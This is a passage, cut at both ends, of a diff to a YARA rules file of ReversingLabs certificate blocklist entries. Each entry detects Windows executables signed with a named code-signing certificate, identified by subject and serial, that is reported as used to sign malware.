"66:e3:f0:b4:45:9f:15:ac:7f:2a:2b:44:99:0d:d7:09" and 1320288125 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OWLNET LIMITED" and ( pe.signatures [ i ] . serial == "00:ed:a2:42:90:83:bf:af:b0:4e:6e:7b:dd:a1:b0:88:34" or pe.signatures [ i ] . serial == "ed:a2:42:90:83:bf:af:b0:4e:6e:7b:dd:a1:b0:88:34" ) and 1625011200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_610039D6349Ee531E4Caa3A65D100C7D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0A590154B5980E566314122987Dea548 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "de018b47-9fbd-590e-b3d1-b50029496718" + id = "fd2a2165-494b-5655-a322-73f033643c74" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16248-L16264" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10372-L10388" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e6b6a90cf40283d2e4d2d9c5732a078c9f2f117e3639ab5c0dd6c5323cb7c9ff" + logic_hash = "d5fdf2bc61fadf3e73bcf1695c48ebc465e614cdd2310f9e5f40648d9615afc4" score = 75 quality = 90 tags = "INFO, FILE" @@ -28685,21 +51079,21 @@ rule REVERSINGLABS_Cert_Blocklist_610039D6349Ee531E4Caa3A65D100C7D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Wemade Entertainment" and pe.signatures [ i ] . serial == "61:00:39:d6:34:9e:e5:31:e4:ca:a3:a6:5d:10:0c:7d" and 1341792000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Maya logistika d.o.o." and pe.signatures [ i ] . serial == "0a:59:01:54:b5:98:0e:56:63:14:12:29:87:de:a5:48" and 1636416000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1Caa0D0Dadf32A2404A75195Ae47820A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_69A72F5591Ad78A0825Fbb9402Ab9543 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5c1f82a4-c64d-556c-8c7a-213582e7bd5a" + id = "938cdd31-433d-5df7-b00e-54a7e440810b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16266-L16282" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10390-L10406" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ab71e485c0b541fae79d246d34b1f4fb146747c1c3fb723aa87a7a32378ff974" + logic_hash = "72ca07b7722f9506c5c42b5e58c5ce9b3a7d607164a5f265015769f2831cd588" score = 75 quality = 90 tags = "INFO, FILE" @@ -28709,21 +51103,21 @@ rule REVERSINGLABS_Cert_Blocklist_1Caa0D0Dadf32A2404A75195Ae47820A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LivePlex Corp" and pe.signatures [ i ] . serial == "1c:aa:0d:0d:ad:f3:2a:24:04:a7:51:95:ae:47:82:0a" and 1324425600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PUSH BANK LIMITED" and pe.signatures [ i ] . serial == "69:a7:2f:55:91:ad:78:a0:82:5f:bb:94:02:ab:95:43" and 1581811200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_140D2C515E8Ee9739Bb5F1B2637Dc478 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0883Db137021B51F3A2A08A76A4Bc066 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "69f3ee46-87d2-5630-ba7c-4ed2924cf650" + id = "792111be-7c8a-53f5-9ec3-e1f25f083666" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16284-L16300" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10408-L10424" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e6724fe80959592c8741621ce604518d3e964cee5941257a99dda78b9c8bbdac" + logic_hash = "5e3c8654169830790665992f5d7669d0ca6c1c8048580b3ae70331ad2a763a6c" score = 75 quality = 90 tags = "INFO, FILE" @@ -28733,21 +51127,21 @@ rule REVERSINGLABS_Cert_Blocklist_140D2C515E8Ee9739Bb5F1B2637Dc478 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Guangzhou YuanLuo Technology Co.,Ltd" and pe.signatures [ i ] . serial == "14:0d:2c:51:5e:8e:e9:73:9b:b5:f1:b2:63:7d:c4:78" and 1386806400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Divertida Creative Limited" and pe.signatures [ i ] . serial == "08:83:db:13:70:21:b5:1f:3a:2a:08:a7:6a:4b:c0:66" and 1627430400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_58015Acd501Fc9C344264Eace2Ce5730 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2B921Aaaba777B5A99507196C6F1C46C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "28a56bcf-1f13-5478-a6d5-7595464da198" + id = "0cb5be9e-a0b7-5785-87f3-ad097d4ab479" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16302-L16318" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10426-L10442" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "7c1bec5059d40fc326bb08775888ed169abc746228eeb42c897f479992c5acab" + logic_hash = "a00eb9837f7700d83862dff2077d85c68c24621d7aacf857b42587dc37976465" score = 75 quality = 90 tags = "INFO, FILE" @@ -28757,21 +51151,21 @@ rule REVERSINGLABS_Cert_Blocklist_58015Acd501Fc9C344264Eace2Ce5730 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Nanjing Ranyi Technology Co., Ltd. " and pe.signatures [ i ] . serial == "58:01:5a:cd:50:1f:c9:c3:44:26:4e:ac:e2:ce:57:30" and 1352246400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Python Software Foundation" and pe.signatures [ i ] . serial == "2b:92:1a:aa:ba:77:7b:5a:99:50:71:96:c6:f1:c4:6c" and 1648425600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0B7279068Beb15Ffe8060D2C56153C35 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0332D5C942869Bdcabf5A8266197Cd14 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "78bfa550-d85e-5776-a65d-ff0039abd2c4" + id = "b1c650bb-b53f-5cca-8cc2-4d3498285d31" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16320-L16336" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10444-L10460" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ca00f1adacd6ff16e54b85be38c3a4545a10c76548e0647f7f3f6cfa4dff412d" + logic_hash = "726ac44dd8109fcd0a9120f6c0673b8ecf7d5b3a4bb81976f48402e21502201a" score = 75 quality = 90 tags = "INFO, FILE" @@ -28781,21 +51175,21 @@ rule REVERSINGLABS_Cert_Blocklist_0B7279068Beb15Ffe8060D2C56153C35 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Guangzhou YuanLuo Technology Co.,Ltd" and pe.signatures [ i ] . serial == "0b:72:79:06:8b:eb:15:ff:e8:06:0d:2c:56:15:3c:35" and 1350864000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "JAWRO SP Z O O" and pe.signatures [ i ] . serial == "03:32:d5:c9:42:86:9b:dc:ab:f5:a8:26:61:97:cd:14" and 1622160000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0Bc0F18Da36702E302Db170D91Dc9202 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4679C5398A279318365Fd77A84445699 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "977d9686-d811-5416-b090-d4f45d7935d0" + id = "8d1810e7-9b64-52b3-91c6-f03832d61d3a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16338-L16354" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10462-L10478" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d9ee2cf63a4edb28f894ea49a5b4df9b818d5764d9a74721b1d5222f53859462" + logic_hash = "bdb68be92b3ba6b5eaa6e8e963529c0b9213942ba2552c687496ad5d12d5b472" score = 75 quality = 90 tags = "INFO, FILE" @@ -28805,21 +51199,21 @@ rule REVERSINGLABS_Cert_Blocklist_0Bc0F18Da36702E302Db170D91Dc9202 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Foresee Consulting Inc." and pe.signatures [ i ] . serial == "0b:c0:f1:8d:a3:67:02:e3:02:db:17:0d:91:dc:92:02" and 1637712000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "HURT GROUP HOLDINGS LIMITED" and pe.signatures [ i ] . serial == "46:79:c5:39:8a:27:93:18:36:5f:d7:7a:84:44:56:99" and 1643846400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ca9B6F49B8B41204A174C751C73Dc393 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_101D6A5A29D9A77807553Ceac669D853 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d09658e4-44e4-5c10-a866-ba486000f1b6" + id = "918fa696-5c92-551b-a87b-6410a6dc718a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16356-L16374" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10480-L10496" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0b6558a7a1b78d471aaadced959ba91e411df50e3cc08e447fe9bd97f9e5cced" + logic_hash = "bce92750f71477ecfa7b8213724344708066c0e6133a47cd6758bbd9f8f9da5f" score = 75 quality = 90 tags = "INFO, FILE" @@ -28829,21 +51223,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ca9B6F49B8B41204A174C751C73Dc393 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "CodeDance Ltd" and ( pe.signatures [ i ] . serial == "00:ca:9b:6f:49:b8:b4:12:04:a1:74:c7:51:c7:3d:c3:93" or pe.signatures [ i ] . serial == "ca:9b:6f:49:b8:b4:12:04:a1:74:c7:51:c7:3d:c3:93" ) and 1654646400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BIC GROUP LIMITED" and pe.signatures [ i ] . serial == "10:1d:6a:5a:29:d9:a7:78:07:55:3c:ea:c6:69:d8:53" and 1646352000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Aaf65B8E7A2E68Bc8C9E8F27331B795C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6000F8C02B0A15B1E53B8399845Faddf : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "ccb36b8b-301d-5cc2-9c8e-4956b92c1116" + id = "b025fe73-89fa-55f2-8b3a-cb46251669e6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16376-L16394" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10498-L10514" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "390d074da09d8e5b4bb2a6f4157a5125474ab5c22de62729d4fc4075edade289" + logic_hash = "00ceb241555154cab97ef616042dbd966f3a8fae257e142dfe6bad9559bd1724" score = 75 quality = 90 tags = "INFO, FILE" @@ -28853,21 +51247,21 @@ rule REVERSINGLABS_Cert_Blocklist_Aaf65B8E7A2E68Bc8C9E8F27331B795C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALISA L LIMITED" and ( pe.signatures [ i ] . serial == "00:aa:f6:5b:8e:7a:2e:68:bc:8c:9e:8f:27:33:1b:79:5c" or pe.signatures [ i ] . serial == "aa:f6:5b:8e:7a:2e:68:bc:8c:9e:8f:27:33:1b:79:5c" ) and 1549324800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SAY LIMITED" and pe.signatures [ i ] . serial == "60:00:f8:c0:2b:0a:15:b1:e5:3b:83:99:84:5f:ad:df" and 1644278400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_C6Ed0Efe2844Fa44Aae350C6845C3331 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_121070Be1E782F206985543Bc7Bc58B6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "d748bea4-8d2b-53b2-8184-ea0972ad9199" + id = "3f5eee11-4106-5923-9563-84f81199bea0" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16396-L16414" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10516-L10532" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "5c4afcd8ceb5cc2f1df2303183ede2081b86365eeee7d4e1319a8ed9a45bbf0b" + logic_hash = "a5d603cf64c8a16fa12daf9c6b5d0850e6145fb39b38442ed724ec0f849b8be9" score = 75 quality = 90 tags = "INFO, FILE" @@ -28877,21 +51271,21 @@ rule REVERSINGLABS_Cert_Blocklist_C6Ed0Efe2844Fa44Aae350C6845C3331 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "THE COMPANY OF WORDS LTD" and ( pe.signatures [ i ] . serial == "00:c6:ed:0e:fe:28:44:fa:44:aa:e3:50:c6:84:5c:33:31" or pe.signatures [ i ] . serial == "c6:ed:0e:fe:28:44:fa:44:aa:e3:50:c6:84:5c:33:31" ) and 1549324800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Prod Can Holdings Inc." and pe.signatures [ i ] . serial == "12:10:70:be:1e:78:2f:20:69:85:54:3b:c7:bc:58:b6" and 1647820800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ede6Cfbf9Fa18337B0Fdb49C1F693020 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_5226A724Cfa0B4Bc0164Ecda3F02A3Dc : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0389d5ba-4535-5277-9c77-bd178e66417f" + id = "5a4abffb-ac0d-5e70-8193-0cd1a83377ac" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16416-L16434" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10534-L10550" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "a7f18d0028cbc0001a196bc915b7881244a5833dd65f96dd7d2e8ab1b0622e0c" + logic_hash = "0ba1155b30761f48674aaa82a70a06fea30cced6518f089f3f9f173a4eb06a09" score = 75 quality = 90 tags = "INFO, FILE" @@ -28901,21 +51295,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ede6Cfbf9Fa18337B0Fdb49C1F693020 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "START ARCHITECTURE LTD" and ( pe.signatures [ i ] . serial == "00:ed:e6:cf:bf:9f:a1:83:37:b0:fd:b4:9c:1f:69:30:20" or pe.signatures [ i ] . serial == "ed:e6:cf:bf:9f:a1:83:37:b0:fd:b4:9c:1f:69:30:20" ) and 1554940800 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VALENTE SP Z O O" and pe.signatures [ i ] . serial == "52:26:a7:24:cf:a0:b4:bc:01:64:ec:da:3f:02:a3:dc" and 1647302400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Eda0F47B3B38E781Cdf6Ef6Be5D3F6Ee : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0A7Be7722B65A866Ebcd3Bd7F8F10825 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "308a73cd-a142-56ad-8dca-808ab455b43e" + id = "2b177573-8b9f-538f-8d07-b7baede1148d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16436-L16454" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10552-L10568" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "af3cd543a6feec3118ba4e5fdc8455584aa763bd8339f036ab332977fc0fb20e" + logic_hash = "c4aa22241ef72d454db4ec0fb0933abfa7b1d8d1029b45410475832cda4a2af4" score = 75 quality = 90 tags = "INFO, FILE" @@ -28925,21 +51319,21 @@ rule REVERSINGLABS_Cert_Blocklist_Eda0F47B3B38E781Cdf6Ef6Be5D3F6Ee : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ADVANCED ACCESS SERVICES LTD" and ( pe.signatures [ i ] . serial == "00:ed:a0:f4:7b:3b:38:e7:81:cd:f6:ef:6b:e5:d3:f6:ee" or pe.signatures [ i ] . serial == "ed:a0:f4:7b:3b:38:e7:81:cd:f6:ef:6b:e5:d3:f6:ee" ) and 1650931200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rebound Infotech Limited" and pe.signatures [ i ] . serial == "0a:7b:e7:72:2b:65:a8:66:eb:cd:3b:d7:f8:f1:08:25" and 1637971200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5Da173Eb1Ac76340Ac058E1Ff4Bf5E1B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_05634456Dbedb3556Ca8415E64815C5D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0f9fa6c6-372d-5948-94ba-9e3fee956647" + id = "c9a05c35-2aed-5944-aad7-65ae2c290c6c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16456-L16472" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10570-L10586" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "71da69fca275caead6a822e6587e0a07fc882f712afeafe18f4a595c269f6737" + logic_hash = "f5941c74821c0cd76633393d0346a9de2c7bccc666dc20b34c5b4d733faefc8f" score = 75 quality = 90 tags = "INFO, FILE" @@ -28949,21 +51343,21 @@ rule REVERSINGLABS_Cert_Blocklist_5Da173Eb1Ac76340Ac058E1Ff4Bf5E1B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ALISA LTD" and pe.signatures [ i ] . serial == "5d:a1:73:eb:1a:c7:63:40:ac:05:8e:1f:f4:bf:5e:1b" and 1550793600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Walden Intertech Inc." and pe.signatures [ i ] . serial == "05:63:44:56:db:ed:b3:55:6c:a8:41:5e:64:81:5c:5d" and 1648425600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1380A7Ccf2Bf36Bc496B00D8 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2E07A8D6E3B25Ae010C8Ed2C4Ab0Fb37 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "dc473451-e1a9-53b4-acf6-9ff8036ecf31" + id = "39d23cbf-862f-5a3d-9e30-b3f0929963d5" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16474-L16490" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10588-L10604" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "88708d7d139a9d6e92f78df460b527a1ae6a404d0bcccb801c8c8cb1263a46c6" + logic_hash = "bad2144c9cde02a75fa968e3c24178f3ba73b0addb2b4967f24733b933e0eeb6" score = 75 quality = 90 tags = "INFO, FILE" @@ -28973,21 +51367,21 @@ rule REVERSINGLABS_Cert_Blocklist_1380A7Ccf2Bf36Bc496B00D8 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "13:80:a7:cc:f2:bf:36:bc:49:6b:00:d8" and 1478069976 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Emurasoft, Inc." and pe.signatures [ i ] . serial == "2e:07:a8:d6:e3:b2:5a:e0:10:c8:ed:2c:4a:b0:fb:37" and 1650499200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_02Eaf27E6F1575E365Fc7Fe4E0Be43F7 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_30B4Eeebd88Fd205Acc8577Bbaed8655 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5d1aad80-9444-5cc3-8ff4-b70fb089cda0" + id = "27c60ade-41e1-5ba4-be8d-275edc01b5ba" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16492-L16508" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L10606-L10622" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "333a43bdfbc400727b8eae1efeb03484b959fc45ed6b8b0dd5e6a553fa27e87f" + logic_hash = "673ec5a1cacb9a7be101a4a533baf5a1eab4e6dd8721c69e56636701c5303c72" score = 75 quality = 90 tags = "INFO, FILE" @@ -28997,21 +51391,21 @@ rule REVERSINGLABS_Cert_Blocklist_02Eaf27E6F1575E365Fc7Fe4E0Be43F7 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Theravada Solutions Ltd" and pe.signatures [ i ] . serial == "02:ea:f2:7e:6f:15:75:e3:65:fc:7f:e4:e0:be:43:f7" and 1562889600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Enforcer Srl" and pe.signatures [ i ] . serial == "30:b4:ee:eb:d8:8f:d2:05:ac:c8:57:7b:ba:ed:86:55" and 1646179200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_6Eb02Ac2Beb9611Ed57Eb12E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B3391A6C1B3C6836533959E2384Ab4Ca : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "64350364-fe74-54df-886d-1197146e00e7" + id = "ab274ae3-0884-517a-a221-2c952fc9d74c" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = 